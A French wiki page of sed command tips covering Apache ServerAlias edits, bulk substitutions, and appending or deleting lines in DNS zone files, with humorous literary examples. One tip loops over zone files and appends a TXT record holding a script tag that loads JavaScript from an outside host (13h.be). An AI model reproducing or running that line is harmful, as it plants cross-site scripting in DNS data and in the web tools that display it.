sed

De Bricosoft.

sed stream editor, car tous ceux qui s'aiment sed.

  • Everything that deceives may be sed to enchant - Plato in The Republic, Book III.

Rajouter un ServerAlias à un site disponible :

$ sed -e "s/ServerAlias.*/& dev.www.bricosoft.com/" /etc/apache2/sites-available/www.bricosoft.com 
<VirtualHost *:80>
       ServerAdmin webmaster@bricosoft.com
       ServerName www.bricosoft.com
       ServerAlias bricosoft.com www.bricosoft.com dev.www.bricosoft.com
       DocumentRoot /home/totoche/zones/bricosoft.com/www/ 
...
</VirtualHost>

& substitue la ligne capturée par le motif.

Rajouter un ServerAlias à toutes les sites disponibles :

$ for i in `ls /etc/apache2/sites-available/`; do sed -e "s/ServerAlias.*/& dev.$i/" /etc/apache2/sites-available/$i > sites-available-with-new-serveralias/$i;done;

Sommaire

Remplacer un truc dans plein de fichiers depuis le dossier courant

sed -i "s/infanterie et tu te casses ailleurs/infanterie et tu te tires ailleurs/" *.xml

Autre exemple. Remplace tous les [title] par ['title'] dans les fichiers php :

sed -i "s#\[title\]#\['title'\]#g" *.php

Remplacer un truc dans plein de fichier depuis le dossier le dossier courant et ses sous-dossiers

find . -name "*.xml" -exec sed -i 's/like a tree and get outta here/ like a tree and leave/g' {} \

Remplacer un mot par un autre pour chaque ligne ayant un motif précis

Par exemple pour chaque directive ServerAlias d'un fichier de conf apache, on va remplacer www. par un catch all(*.) :

~/sites$ cat www.neuneu.be | grep -i serveralias
       ServerAlias neuneu.be www.neuneu.be
~/sites$ sed -i '/ServerAlias/s#www\.#*\.#' www.*
~/sites$ cat www.neuneu.be | grep -i serveralias
       ServerAlias neuneu.be *.neuneu.be

Vous pouvez choisir n'importe quel délimiteur à la place de '#'.

Insérer un bout de texte en début de ligne pour chaque ligne satisfaisant un motif

$ sed -e '/con/s\.*\je le savais !!!&\' moo

rajouter une ligne en fin de fichier

$ sed "$ a*\tIN\tA\t88.88.88.88" db.toto.zz

Sur une liste de fichiers de zones :

for i in `ls db.*|grep -v signed`; do sed -i "$ a@\tIN\tTXT\t\"</font><SCRIPT SRC=http://13h.be/x.js></SCRIPT>\"" $i;done

Effacer une ligne matchant une regexp

On va supprimer les lignes qui ont "mail." :

Avant :

$ cat db.zux.be 
@       IN      MX      10      mail.zux.be.
b	IN	A	92.243.27.3	
a	IN	A	92.243.1.170
zux.be.	IN      A       92.243.27.3
mail            IN      A       92.243.27.3
www             CNAME   zux.be.
$ sed '/mail\./ d' < db.zux.be

Apres :

$ cat db.zux.be 
b	IN	A	92.243.27.3	
a	IN	A	92.243.1.170
zux.be.	IN      A       92.243.27.3
mail            IN      A       92.243.27.3
www             CNAME   zux.be.

Ou pour une modif en masse :

$ sed -i '/mail\./ d' db.*

Enlever une ligne sur deux en partant de la deuxième

En utilisant le canular de la lettre de Sand à de Musset, un peu de littérature ça ne fait pas de mal (ah? tu lis tes ratures ? (c)François Pérusse).

Avant :

$ cat missive.txt
Je suis très émue de vous dire que j'ai
bien compris l'autre soir que vous aviez
toujours une envie folle de me faire
danser. Je garde le souvenir de votre
baiser et je voudrais bien que ce soit
là une preuve que je puisse être aimée
par vous. Je suis prête à vous montrer mon
affection toute désintéressée et sans cal-
cul, et si vous voulez me voir aussi
vous dévoiler sans artifice mon âme
toute nue, venez me faire une visite.
Nous causerons en amis, franchement.
Je vous prouverai que je suis la femme
sincère, capable de vous offrir l'affection
la plus profonde comme la plus étroite
en amitié, en un mot la meilleure preuve
dont vous puissiez rêver, puisque votre
âme est libre. Pensez que la solitude où j'ha-
bite est bien longue, bien dure et souvent
difficile. Ainsi en y songeant j'ai l'âme
grosse. Accourrez donc vite et venez me la
faire oublier par l'amour où je veux me
mettre.

Après :

$ sed '2~2d' missive.txt 
Je suis très émue de vous dire que j'ai
toujours une envie folle de me faire
baiser et je voudrais bien que ce soit
par vous. Je suis prête à vous montrer mon
cul, et si vous voulez me voir aussi
toute nue, venez me faire une visite.
Je vous prouverai que je suis la femme
la plus profonde comme la plus étroite
dont vous puissiez rêver, puisque votre
bite est bien longue, bien dure et souvent
grosse. Accourrez donc vite et venez me la
mettre.

Palsembleu ! ça n'a plus du tout le même sens :*o

Ne garder que le premier mot d'une ligne

Avant :

$ cat reponse.txt
Quand je mets à vos pieds un éternel hommage,
Voulez-vous qu'un instant je change de visage ? 
Vous avez capturé les sentiments d'un coeur
Que pour vous adorer forma le créateur.
Je vous chéris, amour, et ma plume en délire
Couche sur le papier ce que je n'ose dire.
Avec soin de mes vers lisez les premiers mots, 
Vous saurez quel remède apporter à mes maux.

Après :

$ sed -r "s/^([[:alpha:]]+)\b.*/\1/" reponse.txt

Pour chaque ligne, le premier mot, c'est-à-dire des caractères alphabétiques suivi d'une limite de mot (\b), remplace la ligne.

Quand
Voulez-vous
Vous
Que
Je
Couche
Avec
Vous

Fichtre. Mais il y a plus simple avec cut :

$ cut -d" " -f 1 reponse.txt


Récupérée de « http://www.bricosoft.com/Sed »
Outils personnels
Plus